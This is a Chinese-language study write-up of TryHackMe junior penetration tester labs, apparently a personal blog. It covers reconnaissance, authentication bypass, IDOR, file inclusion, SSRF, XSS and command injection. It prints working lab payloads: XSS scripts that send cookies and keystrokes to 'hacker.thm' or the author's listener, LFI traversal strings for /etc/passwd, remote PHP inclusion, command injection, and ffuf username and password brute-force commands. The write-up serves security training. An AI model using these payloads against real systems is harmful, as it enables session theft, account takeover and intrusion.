0%

Jr Penetration Tester学习

该学习路径涵盖了核心技术技能,使您能够成为一名成功的初级渗透测试员。完成此路径后,您将具备对 Web 应用程序和企业基础设施执行安全评估所需的实用技能。

Jr Penetration Tester学习

网络安全简介

进攻性安全性简介

Task1 什么是进攻性安全?

Task2 入侵您的第一台计算机

本次任务是破解一个名为 FakeBank 的虚假银行应用程序

使用gobuster进行目录扫描

1
gobuster -u http://fakebank.com -w wordlist.txt dir

扫描结果如下

发现可以路径/bank-transfer,访问一下发现是类似银行转账

按照任务要求将 2000 美元从银行账户 2276 转入您的账户(账号 8881),成功转入我的账户

Task3 网络安全领域的工作

  • 渗透测试员 - 负责测试技术产品以查找可利用的安全漏洞。
  • 红队成员 - 扮演对手的角色,攻击组织并从敌人的角度提供反馈。
  • 安全工程师 - 设计、监控和维护安全控制、网络和系统,以帮助防止网络攻击。

防御性安全简介

Task1 防御性安全简介

Task2 防御性安全领域

安全运营中心 (SOC)

安全运营中心 (SOC) 是一支由网络安全专业人员组成的团队,负责监控网络及其系统以检测恶意网络安全事件。SOC 的一些主要关注领域是:

  • 漏洞:每当发现系统漏洞(弱点)时,都必须通过安装适当的更新或补丁来修复它。当修补程序不可用时,应采取必要的措施来防止攻击者利用它。尽管修复漏洞与 SOC 的切身利益息息相关,但不一定分配给他们。
  • 策略冲突:我们可以将安全策略视为保护网络和系统所需的一组规则。例如,如果用户开始将公司的机密数据上传到在线存储服务,则可能违反了策略。
  • 未经授权的活动:考虑用户登录名和密码被盗,攻击者使用它们登录网络的情况。SOC 需要检测到此类事件并尽快阻止它,以免造成进一步的损害。
  • 网络入侵:无论您的安全性有多好,总有入侵的机会。当用户点击恶意链接或攻击者利用公共服务器时,可能会发生入侵。无论哪种方式,当发生入侵时,我们必须尽快检测到它,以防止进一步的损害。

安全操作涵盖各种任务以确保保护;其中一项任务是威胁情报。

在这种情况下,情报是指您收集的有关实际和潜在敌人的信息。威胁是指可能破坏系统或对系统产生不利影响的任何操作。威胁情报旨在收集信息,以帮助公司更好地准备应对潜在对手。目的是实现威胁知情防御。不同的公司有不同的对手。一些攻击者可能试图从移动运营商那里窃取客户数据;然而,其他对手也有兴趣停止炼油厂的生产。示例攻击者包括出于政治原因工作的民族国家网络军队和出于财务目的行事的勒索软件组织。根据公司(目标),我们可以预期对手。

数据收集是从本地来源(如网络日志)和公共来源(如论坛)完成的。数据处理旨在将它们排列成适合分析的格式。分析阶段旨在查找有关攻击者及其动机的更多信息;此外,它旨在创建建议和可操作步骤的列表。

了解您的对手可以让您了解他们的策略、技术和程序。作为威胁情报的结果,我们识别威胁行为者(对手),预测他们的活动,因此,我们将能够缓解他们的攻击并准备响应策略。

数字取证和事件响应 (DFIR)

本部分介绍数字取证和事件响应 (DFIR),我们将介绍:

  • 数字取证
  • 事件响应
  • 恶意软件分析
数字取证

取证是应用科学来调查犯罪和确定事实。随着计算机和智能手机等数字系统的使用和普及,取证的一个新分支诞生了,用于调查相关犯罪:计算机取证,后来演变为数字取证

在防御性安全方面,数字取证的重点转移到分析攻击及其肇事者的证据,以及其他领域,例如知识产权盗窃、网络间谍和拥有未经授权的内容。因此,数字取证将侧重于不同的领域,例如:

  • 文件系统:分析系统存储的数字取证图像(低级副本)可以揭示许多信息,例如已安装的程序、创建的文件、部分覆盖的文件和已删除的文件。
  • 系统内存:如果攻击者在内存中运行恶意程序,但未将其保存到磁盘,则获取系统内存的取证图像(低级副本)是分析其内容并了解攻击的最佳方式。
  • 系统日志:每个客户端和服务器计算机都维护着不同的日志文件,说明发生了什么。日志文件提供了有关系统上所发生情况的大量信息。即使攻击者试图清除他们的痕迹,也会留下一些痕迹。
  • 网络日志:遍历网络的网络数据包的日志将有助于回答有关是否发生攻击及其后果的更多问题。
应急响应

事件通常是指数据泄露或网络攻击;但是,在某些情况下,它可能不太重要,例如配置错误、入侵尝试或违反策略。网络攻击的示例包括攻击者使我们的网络或系统无法访问、污损(更改)公共网站以及数据泄露(窃取公司数据)。您将如何应对网络攻击?事件响应 指定了处理此类情况应遵循的方法。目的是在尽可能短的时间内减少损害和恢复。理想情况下,您将制定一个为事件响应做好准备的计划。

事件响应过程的四个主要阶段是:

  1. 准备:这需要一支经过培训并准备好处理事件的团队。理想情况下,采取各种措施来从一开始就防止事件发生。
  2. 检测和分析: 团队拥有检测任何事件所需的资源;此外,必须进一步分析任何检测到的事件以了解其严重性。
  3. 遏制、根除和恢复:一旦检测到事件,就必须阻止它影响其他系统,消除它并恢复受影响的系统。例如,当我们注意到某个系统感染了计算机病毒时,我们希望阻止(遏制)病毒传播到其他系统,清理(根除)病毒,并确保系统正确恢复。
  4. 事件后活动:成功恢复后,将生成报告,并分享经验教训,以防止将来发生类似的事件。
恶意软件分析

恶意软件代表恶意软件。软件是指可以保存在磁盘上或通过网络发送的程序、文档和文件。恶意软件包括多种类型,例如:

  • 病毒是一段代码(程序的一部分),它把自身附加到一个程序上。它旨在从一台计算机传播到另一台计算机;此外,它的工作原理是在感染计算机后更改、覆盖和删除文件。结果范围从计算机变慢到无法使用。
  • 特洛伊木马是一种程序,它显示一个理想的功能,但在下面隐藏了一个恶意功能。例如,受害者可能会从可疑网站下载视频播放器,从而使攻击者能够完全控制其系统。
  • 勒索软件是一种加密用户文件的恶意程序。加密会使文件在不知道加密密码的情况下无法读取。如果用户愿意支付 “赎金”,攻击者会向用户提供加密密码。

恶意软件分析旨在通过各种方式了解此类恶意程序:

  1. 静态分析的工作原理是检查恶意程序而不运行它。通常,这需要扎实的汇编语言知识(处理器的指令集,即计算机的基本指令)。
  2. 动态分析的工作原理是在受控环境中运行恶意软件并监控其活动。它允许您观察恶意软件在运行时的行为方式。

Task3 防御性安全的实际示例

背景

您是负责保护银行的安全运营中心 (SOC) 的一员。该银行的 SOC 使用安全信息和事件管理 (SIEM) 系统。SIEM 从各种来源收集与安全相关的信息和事件,并通过一个系统呈现它们。例如,如果登录尝试失败或从意外的地理位置尝试登录,您将收到通知。此外,随着机器学习的出现,SIEM 可能会检测到异常行为,例如用户在凌晨 3 点登录,而他通常只在工作时间登录。

防御性安全练习

注意到在早上十点出现143.110.250.149的ip进行未授权连接22端口

我们利用ip查询工具进行查询

成功找到恶意ip的实际地址

上报给团队负责人后,添加黑名单

Web Hacking简介

遍历应用程序

手工检查web应用程序

  • 查看源代码 - 使用浏览器查看网站的人类可读源代码
  • 检查器 - 了解如何检查页面元素并进行更改以查看通常被阻止的内容
  • Debugger - 检查和控制页面 JavaScript 的流程
  • 网络 - 查看页面发出的所有网络请求

Task1 查看页面源

在本房间学习,如何仅使用浏览器中的内置工具手动检查 Web 应用程序是否存在安全问题

我们通过查看源代码,注意到注释里的特殊路径

访问/new-home-beta得到第一个flag

我们注意到第41行的超链接,访问得到第二个flag

注意到这些文件都存放在/assets目录下

访问得到第三个flag

继续往下找发现web程序使用的框架是THM v1.2

尝试从框架入手,跟进一下更新日志

我们注意到在1.3版本把备份文件存储到不可读取的区域,而我们刚好是1.2尝试读取备份文件/tmp.zip,解压得到第四个flag

Task2 开发人员工具-inspector

我们注意到news的第三篇是需要付费的,被付费墙挡住了

我们F12打开web开发者工具,将鼠标移到挡住的墙上

注意到premium-customer-blocker属性的display元素是block,我们将其改为none成功读取到flag

Task3 开发人员工具 - 调试器

开发人员工具中的这个面板用于调试 JavaScript,对于想要找出某些内容可能无法正常工作的原因的 Web 开发人员来说,它同样是一个出色的功能。但作为渗透测试人员,它为我们提供了深入研究 JavaScript 代码的选项。在 Firefox 和 Safari 中,此功能称为 Debugger,但在 Google Chrome 中,它称为 Sources。

我们点击contact界面,然后点击调试器的flash.min.js文件,点击左下角的美化

在第110行打下断点,刷新此页面得到flag

Task4 开发人员工具 - 网络

先清空下网络的缓存,然后填写表单发送。从响应处得到flag

信息搜集

Task1 手动发现-robots.txt

访问/robots.txt即可

Task2 手动发现-Favicon

网站图标是显示在浏览器地址栏或选项卡中的一个小图标,用于为网站打造品牌。有时当使用框架构建网站时,作为安装一部分的网站图标会留下来,如果网站开发人员没有用自定义图标替换它,这可以给我们提供关于正在使用的框架的线索。OWASP 托管一个通用框架图标数据库,您可以使用该数据库来检查目标 favicon https://wiki.owasp.org/index.php/OWASP_favicon_database。一旦我们了解了框架堆栈,我们就可以使用外部资源来发现更多关于它的信息

某个网站的图标没有被开发人员自定义替换,我们下载目标网站图标并获取其 md5 哈希值

1
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum

通过在https://wiki.owasp.org/index.php/OWASP_favicon_database查询,得到是cgiirc框架

Task3 手动发现-Sitemap.xml

与限制搜索引擎爬虫可以查看的内容的 robots.txt 文件不同,sitemap.xml 文件提供了网站所有者希望在搜索引擎上列出的每个文件的列表。这些有时可能包含网站中更难导航到的区域,甚至列出一些当前网站不再使用但仍在幕后运行的旧网页。

访问/sitemap.xml得到线索

Task4 手动发现-HTTP请求头

使用curl命令的-v参数启用详细模式

1
curl http://10.10.48.71/ -v

Task5 手动发现 - 框架堆栈

一旦你建立了一个网站的框架,无论是从上面的网站图标示例,还是通过在页面源中寻找线索(如评论、版权声明或信用),你都可以找到该框架的网站。从那里,我们可以了解有关软件和其他信息的更多信息,这可能会导致我们可以发现更多内容。

在页面源码发现框架网站,来看看THM框架的文档

存在admin管理员用户,我们访问/thm-framework-login登录找到flag

Task6 开源情报-谷歌搜索语法

利用谷歌搜索引擎的特殊语法

滤波器 描述
site site:tryhackme.com 仅返回来自指定网站地址的结果
inurl inurl:admin 返回 URL 中包含指定单词的结果
filetype filetype:PDF 返回具有特定文件扩展名的结果
intitle intitle:admin 返回标题中包含指定单词的结果

更多语法可参考 https://en.wikipedia.org/wiki/Google_hacking

Task7 开源情报-Wappalyzer

Wappalyzer (https://www.wappalyzer.com/) 是一个在线工具和浏览器扩展,可帮助识别网站使用的技术,例如框架、内容管理系统 (CMS)、支付处理器等等,它甚至可以找到版本号。

Task8 开源情报-Github

您可以使用 GitHub 的搜索功能查找公司名称或网站名称,以尝试查找属于您的目标的存储库。一旦被发现,您可能可以访问源代码、密码或其他尚未找到的内容。

Task9 开源情报-S3 Buckets

S3 Buckets 是 Amazon AWS 提供的一项存储服务,允许人们将文件甚至静态网站内容保存在云中,可通过 HTTP 和 HTTPS 访问。文件所有者可以设置访问权限,将文件设为公共、私有甚至可写。有时,这些访问权限设置不正确,并无意中允许访问不应向公众开放的文件。S3 存储桶的格式为 http(s)://{name}.s3.amazonaws.com 其中 {name} 由所有者决定,例如 tryhackme-assets.s3.amazonaws.com。可以通过多种方式发现 S3 存储桶,例如在网站的页面源、GitHub 存储库中查找 URL,甚至自动执行该过程。一种常见的自动化方法是使用公司名称,后跟 {name}-assets、{name}-www、{name}-public、{name}-private 等常用术语 。

Task10 自动发现

使用ffuf和gobuster都可以,挂openvpn太慢了所以这里拿attackbox扫的

1
2
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.48.71/FUZZ
gobuster dir --url http://10.10.48.71/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

扫描结果如下

子域枚举

Task1 开源情报-SSL/TLS 证书

SSL/TLS 证书

当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全性)证书时,CA 会参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问日志。Certificate Transparency 日志的目的是阻止使用恶意和意外制作的证书。我们可以利用这项服务来发现属于某个域的子域,像 https://crt.shhttps://ui.ctsearch.entrust.com/ui/ctsearchui 这样的网站提供了一个可搜索的证书数据库,可以显示当前和历史结果。

我们访问https://crt.sh,搜索tryhackme.com域名,成功找到在2020-12-26创建的子域名

Task2 开源情报-搜索引擎

利用谷歌的搜索引擎,查找tryhackme.com的子域名

1
site:*.tryhackme.com

如果想排除某子域名比如www,可以执行以下命令

1
site:*.tryhackme.com -site:www.tryhackme.com

Task3 DNS 暴力破解

Bruteforce DNS(域名系统)枚举是从预定义的常用子域列表中尝试数十、数百、数千甚至数百万个不同可能的子域的方法。由于此方法需要许多请求,因此我们使用工具将其自动化以加快流程。

使用dnsrecon工具进行扫描

Task4 开源情报-Sublist3r

使用Sublist3r实现自动化探测子域名

Task5 虚拟主机

某些子域并不总是托管在可公开访问的 DNS 结果中,例如 Web 应用程序的开发版本或管理门户。相反这些可以保存在私有 DNS 服务器上,也可以记录在开发人员计算机上的 /etc/hosts 文件(或 Windows 用户的 c:\windows\system32\drivers\etc\hosts 文件)中,该文件将域名映射到 IP 地址。由于当客户端请求某个网站时,Web 服务器可以在一台服务器上托管多个网站,因此我们可以从http请求头host上进行扫描

使用ffuf扫描靶机的子域名

1
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.37.27

这里会出现非常多的扫描结果,可以使用-fs参数进行过滤,因为大部分的无价值的响应内容大小相同

1
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.37.27 -fs 2395

成功扫出来子域名deltayellow

身份验证绕过

Task1 用户名枚举

我们在网站的注册页面进行用户创建时,当我们注册用户名为admin时会回显username already exists

我们可以利用此错误消息的存在,使用ffuf工具对用户名进行枚举

1
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=test&password=test&cpassword=test" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.32.235/customers/signup -mr "username already exists" >> listofusers.txt

注:在上面的示例中, -w参数选择计算机上包含我们要检查的用户名列表的文件位置。 -X参数指定请求方法,默认情况下这将是 GET 请求,但在我们的示例中它是 POST 请求。 -d参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ 。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。 -H参数用于向请求添加附加标头。在本例中,我们设置Content-Type ,以便 Web 服务器知道我们正在发送表单数据。 -u参数指定我们发出请求的 URL,最后, -mr参数是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。

得到四个用户名

1
2
3
4
admin
simon
steve
robert

Task2 暴力破解

将扫出来的用户名添加到listofusers.txt文件里

1
ffuf -w listofusers.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.122.157/customers/login -fc 200

成功爆破出用户以及对应的密码

Task3 逻辑缺陷

示例

1
2
3
4
5
if( url.substr(0,6) === '/admin') {
# Code to check user is an admin
} else {
# View Page
}

在访问/admin的时候会对用户进行检查,由于上面的 PHP 代码示例使用三个等号 (===),因此它会在字符串上查找完全匹配的内容,包括相同的字母大小写。但如果我们访问/adMin将不会被检查权限,从而实现绕过身份验证

在本靶机中的/customer/reset路径下存在重置密码功能,如果输入的电子邮件无效,您将收到错误消息“从提供的电子邮件地址找不到帐户”。假设我们使用已接受的电子邮件地址去发送,将会看到确认信息发送至邮件

经过测试,当我们通过GET传参重置密码对应的电子邮件时,成功发送说明存在缺陷

1
curl 'http://10.10.122.157/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

靶机的应用程序中,使用查询字符串检索用户帐户,但稍后在应用程序逻辑中,使用PHP变量$_REQUEST中找到的数据发送密码重置电子邮件。由于PHP $_REQUEST变量是一个数组,其中包含从查询字符串接收的数据和 POST 数据。如果查询字符串和 POST 数据使用相同的键名,则该变量的应用程序逻辑更倾向于 POST 数据字段而不是查询字符串

我们先注册我们自己的账户

然后利用 $_REQUEST的特性缺陷优先匹配POST参数值,由于该邮件地址customer.acmeitsupport.thm存在对应的用户rev1ve,使得电子邮件成功发送到我们的账号下

1
curl 'http://10.10.122.157/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=rev1ve@customer.acmeitsupport.thm'

发送后刷新下用户界面,成功收到电子邮件

点击链接成功访问到robert用户的界面,拿到flag

Task4 Cookie篡改

Cookie如果为纯文本形式的话,作用其实是很明显的,比如

1
Cookie: admin=false;logged_in=false

上述Cookie控制着是否登陆成功以及是否为管理员用户

当我们正常去curl目标页面时显示没有登录

尝试发送修改的cookie

1
curl -H "Cookie:logged_in=true; admin=true" http://10.10.56.209/cookie-test

成功以管理员身份登录

如果Cookie是编码形式的话,比如

1
2
session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
# {"id":1,"admin": false}

我们只需要将admin键改为true后,再base6 4编码回去即可

不安全直接对象引用

IDOR代表不安全直接对象引用,是一种访问控制漏洞。当 Web 服务器接收用户提供的输入以检索对象(文件、数据、文档)、对输入数据过于信任并且未在服务器端进行验证以确认输入数据时,可能会发生此类漏洞。请求的对象属于请求它的用户。

打开靶机,创建用户后登录

在account界面F12点击网络,刷新一下发现存在路径为 /api/v1/customer?id=50的端点的调用

并且查看下响应的json数据,刚好id为50是对应我们账户

尝试查看id为1的用户,成功获得用户信息

文件包含

Task1 路径遍历

常见操作系统文件

Location 地点 Description 描述
/etc/issue 包含在登录提示之前打印的消息或系统标识。
/etc/profile 控制系统范围的默认变量,例如导出变量、文件创建掩码 (umask)、终端类型、指示新邮件何时到达的邮件消息
/proc/version 指定Linux内核的版本
/etc/passwd 拥有有权访问系统的所有注册用户
/etc/shadow 包含有关系统用户密码的信息
/root/.bash_history 包含 root 用户的历史命令
/var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息
/var/mail/root root用户的所有电子邮件
/root/.ssh/id_rsa 服务器上 root 或任何已知有效用户的SSH私钥
/var/log/apache2/access.log Apache Web 服务器的访问请求
C:\boot.ini 包含具有BIOS固件的计算机的启动选项

Task2 本地文件包含 - LFI

如果include函数没有限制目录

1
2
3
<?PHP 
include($_GET["lang"]);
?>

那么就可以直接读取敏感文件

1
?lab1.php?file=/etc/passwd

如果限制了读取的目录,比如当我们输入以下内容

1
?lab2.php?file=/etc/passwd

会发现有报错,includes目录下没有此文件

对于黑盒测试来说,我们可以利用包含不存在的文件或者输入无效的输入,触发报错来泄露错误信息

1
Warning: include(includes//etc/passwd) [function.include]: failed to open stream: No such file or directory in /var/www/html/lab2.php on line 26

从而知道包含的目录,并且还知道了当前工作路径/var/www/html

除了限制文件包含的路径外,继续学习文件包含中过滤器fliter的应用。我们看向lab3,当我们输入/etc/passwd时出现报错,仔细观察包含的文件变成/etc/passwd.php

这其实是一种常见的手段,就是我们只能传文件名,然后与.php进行拼接去包含

这里我们可以利用%00来进行截断攻击,变成如下结果

1
include("language/../../../../../etc/passwd%00".".php") => include("language/../../../../../etc/passwd

注:不过这种攻击方式php版本必须低于5.3.4

通过get传入payload,成功绕过

除了将文件名拼接,filter过滤器还可以对敏感文件的关键字进行过滤比如/etc/passwd。我们可以利用.表示当前目录的特性去绕过

(当然%00也可以绕过关键字过滤)

1
/etc/passwd/.

还有最常见的过滤方式就是过滤../,防止我们进行路径遍历,当然这种替换方式很好绕过,使用双写绕过即可

1
....//....//....//etc/passwd

Task3 远程文件包含 - RFI

远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 是在不正确地清理用户输入时发生的,从而允许攻击者将外部 URL 注入包含函数中。 RFI 的一项要求是需要打开allow_url_fopen选项。

RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 ( RCE )。成功的RFI攻击的其他后果包括:

  • 敏感信息披露
  • 跨站脚本( XSS )
  • 拒绝服务 ( DoS )

我们在服务器上创建恶意php文件,然后开启http服务后远程包含我们的文件即可

1
http://10.10.27.18/playground.php?file=http://10.10.221.23:1028/Fhello.php

Task4 修复措施

作为开发人员,了解 Web 应用程序漏洞、如何查找它们以及预防方法非常重要。为了防止文件包含漏洞,一些常见的建议包括:

  1. 保持系统和服务(包括 Web 应用程序框架)更新为最新版本。
  2. 关闭PHP错误以避免泄漏应用程序的路径和其他可能泄露的信息。
  3. Web 应用程序防火墙(WAF) 是帮助减轻 Web 应用程序攻击的不错选择。
  4. 如果您的 Web 应用程序不需要某些会导致文件包含漏洞的 PHP 功能,请禁用allow_url_fopenallow_url_include
  5. 仔细分析 Web 应用程序,仅允许需要的协议和PHP包装器。
  6. 永远不要相信用户输入,并确保针对文件包含实施正确的输入验证。
  7. 实施文件名和位置白名单以及黑名单。

Task5 测试挑战

挑战1

尝试输入/etc/passwd,出现提示为POST传参。那么我们bp抓包修改请求方式为POST即可

挑战2

提示需要admin才能看到界面,直接抓包修改cookie参数

1
Cookie: THM=admin

这里捣鼓了半天,原来注入点就是Cookie的THM参数,这里测试下发现限制目录和与.php进行拼接

1
../../../../../etc/flag2%00

挑战3

尝试输入../../../etc/passwd,出现报错

将查询文件与.php进行拼接,还有过滤了./

提示说是该页面使用$_REQUESTS来接受 HTTP 请求,那么我们burpsuite抓包修改下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /challenges/chall3.php?file=../../../../../etc/flag3%00 HTTP/1.1
Host: 10.10.27.18
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://10.10.27.18/challenges/chall3.php
Cookie: THM=../../../../../etc/flag2%00
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

file=../../../../../etc/flag3%00

成功拿到flag

挑战4

和前面远程文件包含一样,不过就是把恶意php文件内容改一下

1
<?php system("hostname");?>

SSRF 服务器端请求伪造

Task1 SSRF示例

预期请求是 website.thm 服务器期望接收的内容,红色部分是网站将获取信息的 URL。而攻击者可以将红色区域修改为他们所利用的URL

攻击者可以目录遍历来控制路径,比如url传入以下内容

1
http://website.thm/stock?url=/../user

那么应用程序在处理的时候就会变成对http://website.thm/stock/../user发起请求

有这么一种情况,就是攻击者可以控制向其发出请求的服务器的子域。正常情况下我们只能通过server参数传入子域名

1
http://website.thm/stock?server=api&id=1 => http://api.website.thm/stock?id=1

很明显限制了我们访问敏感路径,不过我们可以利用&x=结尾来绕过,作用是阻止将剩余路径附加到攻击者 URL 的末尾,并将其转换为查询字符串上的参数 ?x=,我们修改下server参数的值

1
http://website.thm/stock?server=api.website.thm/api/user?id=1&x=

这样子在进行处理的时候就成功访问敏感路径了

1
http://api.website.thm/api/user?id=1&x=.website.thm/stock?server=api.website.thm/api/user?id=1

还有一种情况,就是我们可以将请求发送到我们的服务器上,这样可以捕获发送到攻击者指定域的HTTP请求头,这可能包含身份验证凭据或者API密钥

Task2 SSRF常见位置

Task3 SSRF防护

黑名单

拒绝列表是除了列表中指定的资源或匹配特定模式的资源之外的所有请求都被接受的地方。 Web 应用程序可以使用拒绝列表来保护敏感端点、IP 地址或域免遭公众访问,同时仍允许访问其他位置。限制访问的特定端点是 localhost,它可能包含服务器性能数据或其他敏感信息,因此 localhost 和 127.0.0.1 等域名将出现在拒绝列表中。攻击者可以使用替代本地主机引用(例如 0、0.0.0.0、0000、127.1、127.*.*.*、2130706433、017700000001)或具有解析为 IP 地址 127.0.0.1 的DNS记录的子域来绕过拒绝列表例如 127.0.0.1.nip.io。

此外,在云环境中,阻止对 IP 地址 169.254.169.254 的访问将是有益的,该地址包含已部署云服务器的元数据,包括可能的敏感信息。攻击者可以通过在自己的域上使用指向 IP 地址 169.254.169.254 的DNS记录注册子域来绕过此漏洞。

白名单

白名单是所有请求都被拒绝的地方,除非它们出现在列表中或匹配特定模式,例如参数中使用的 URL 必须以 https://website.thm 开头的规则。攻击者可以通过在攻击者的域名上创建子域(例如 https://website.thm.attackers-domain.thm)来快速规避此规则。应用程序逻辑现在将允许此输入并让攻击者控制内部 HTTP 请求。

打开重定向

如果上述绕过方法不起作用,那么攻击者还有另外一种伎俩,即开放重定向。开放重定向是服务器上的一个端点,网站访问者会自动重定向到另一个网站地址。以链接 https://website.thm/link?url=https://tryhackme.com 为例。创建此端点是为了记录访问者出于广告/营销目的点击此链接的次数。但想象一下,存在一个潜在的 SSRF 漏洞,具有严格的规则,只允许以 https://website.thm/ 开头的 URL。攻击者可以利用上述功能将内部 HTTP 请求重定向到攻击者选择的域。

Task4 SSRF实战

打开靶机,提供了两个新路径/private/customers/new-account-page

当我们访问/private时发现IP不被允许

先创建个用户然后登录访问/customers/new-account-page,当我们点击图片属性时,发现图片来源于/assets/avatars/1.png

并且下面当表单提交时, value 属性会被发送到服务器,我们尝试修改为刚刚不被允许访问的/private

更新头像,不过好像不能是以private开头

payload如下

1
<input type="radio" name="avatar" value="assets/../private">

更新好后,把当前头像base64解码得到flag

XSS 跨站脚本攻击

Task1 XSS payload

最基础的弹出一个带有文本字符串的警告框

1
<script>alert('XSS');</script>

会话窃取

可以获取目标的 cookie,对 cookie 进行 base64 编码以确保成功传输

1
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

按键记录器

下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制下的网站

1
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

业务逻辑

假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail()

1
<script>user.changeEmail('attacker@hacker.thm');</script>

现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。

Task2 反射型XSS

当用户在HTTP请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS。

Task3 存储型XSS

顾名思义, XSS有效负载存储在 Web 应用程序中(例如数据库中),然后在其他用户访问该网站或网页时运行。

Task4 基于DOM的XSS

什么是 DOM?

DOM 代表文档对象模型,是 HTML 和XML文档的编程接口。它代表页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中,也可以作为 HTML 源代码显示。 HTML DOM 的图表如下所示:

利用 DOM

DOM 基于XSS是指 JavaScript 直接在浏览器中执行,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码作用于输入或 用户交互。

示例场景:

网站的 JavaScript 从window.location.hash获取内容 参数,然后将其写入当前正在使用的页面上 已查看部分。不会检查哈希内容是否存在恶意 代码,允许攻击者将他们选择的 JavaScript 注入到 网页。

潜在影响:

精心制作的链接 可以发送给潜在的受害者,将他们重定向到另一个网站 或从页面或用户会话中窃取内容。

如何测试基于 Dom 的XSS :

基于 DOM 的 XSS 测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读源代码。您需要查找访问攻击者可以控制的某些变量的代码部分,例如“ window.location.x ”参数。

当您找到这些代码时,您需要查看它们是如何处理的,以及这些值是否被写入网页的 DOM 或传递给不安全的 JavaScript 方法,例如eval()

Task5 XSS盲注

使用XSS Hunter Express工具会自动捕获 cookie、URL、页面内容等

工具地址:https://github.com/mandatoryprogrammer/xsshunter-express

Task6 完善payload

level1
1
<script>alert('THM');</script>

level2

我们继续用上面payload测试,发现失败。查看源码原来是我们的被嵌入到value元素了

修改下payload,把前面的input标签闭合

1
"><script>alert('THM');</script>

level3

拿最普通payload测试,出现了<textarea>标签

<textarea> 标签在HTML中用于创建一个可以让用户输入多行文本的输入控件,通常用于表单中的留言、评论或较长文本的输入。与 <input type="text"> 类似,但它可以容纳更多的文本,并且文本区域的大小可以调整(虽然默认情况下是固定的,可以通过CSS来改变)。

我们闭合前面即可

1
</textarea><script>alert('THM');</script>

level4

测试发现失败,查看源码注意到下面代码

我们修改下payload,把前后的单引号闭合

1
';alert('THM');'

level5

输入正常payload,发现关键字被过滤了

修改payload,大小写绕过下

1
<sCript>alert('THM')</sCript>

level6

只能输入图片的路径,前后闭合下双引号

1
/images/1.jpg" onerror="alert('THM');  #也可以/images/cat.jpg" onload="alert('THM');

Task7 实战

打开靶机,创建好用户后点击Support Tickets,创建个票据来测试是否存在XSS漏洞

发现又是<textarea>标签,我们重新创建一个票据,把前面payload复制到内容处

1
</textarea><script>alert('THM');</script>

成功测试出XSS漏洞

我们在服务器开启监听来窃取其他访问我们票据的用户cookie

1
</textarea><script>fetch('http://10.10.110.189:777/?cookie='+btoa(document.cookie));</script>

成功窃取其他用户的cookie,base64解码一下即可

命令注入

打开靶机,发现是一个测试设备IP的

使用;添加执行的命令,查看当前用户

1
127.0.0.1;whoami

cat命令查看flag

1
127.0.0.1;cat /home/tryhackme/flag.txt

网络安全

被动识别

Task1 whois

使用在线网站查询域名

Task2 nslookup

使用 nslookup 查找域名的 IP 地址,参数如下

查询类型 结果
A IPv4 地址
AAAA IPv6 地址
CNAME 规范名称
MX 邮件服务器
SOA 授权开始
TXT TXT 记录

发出命令 nslookup DOMAIN_NAME,例如 nslookup tryhackme.com。或者可以使用 nslookup OPTIONS DOMAIN_NAME SERVER 。这三个主要参数是:

  • OPTIONS 包含下表所示的查询类型。例如,您可以将 A 用于 IPv4 地址,将 AAAA 用于 IPv6 地址。
  • DOMAIN_NAME 是您要查找的域名。
  • SERVER 是要查询的 DNS 服务器。您可以选择任何本地或公有 DNS 服务器进行查询。Cloudflare 提供 1.1.1.11.0.0.1,Google 提供 8.8.8.88.8.4.4,Quad9 提供 9.9.9.9149.112.112.112。
目的 命令行示例
查找 DNS A 记录 nslookup -type=A tryhackme.com
在 DNS 服务器上查找 DNS MX 记录 nslookup -type=MX tryhackme.com 1.1.1.1
查找 DNS TXT 记录 nslookup -type=TXT tryhackme.com

Task3 DNSDumpster

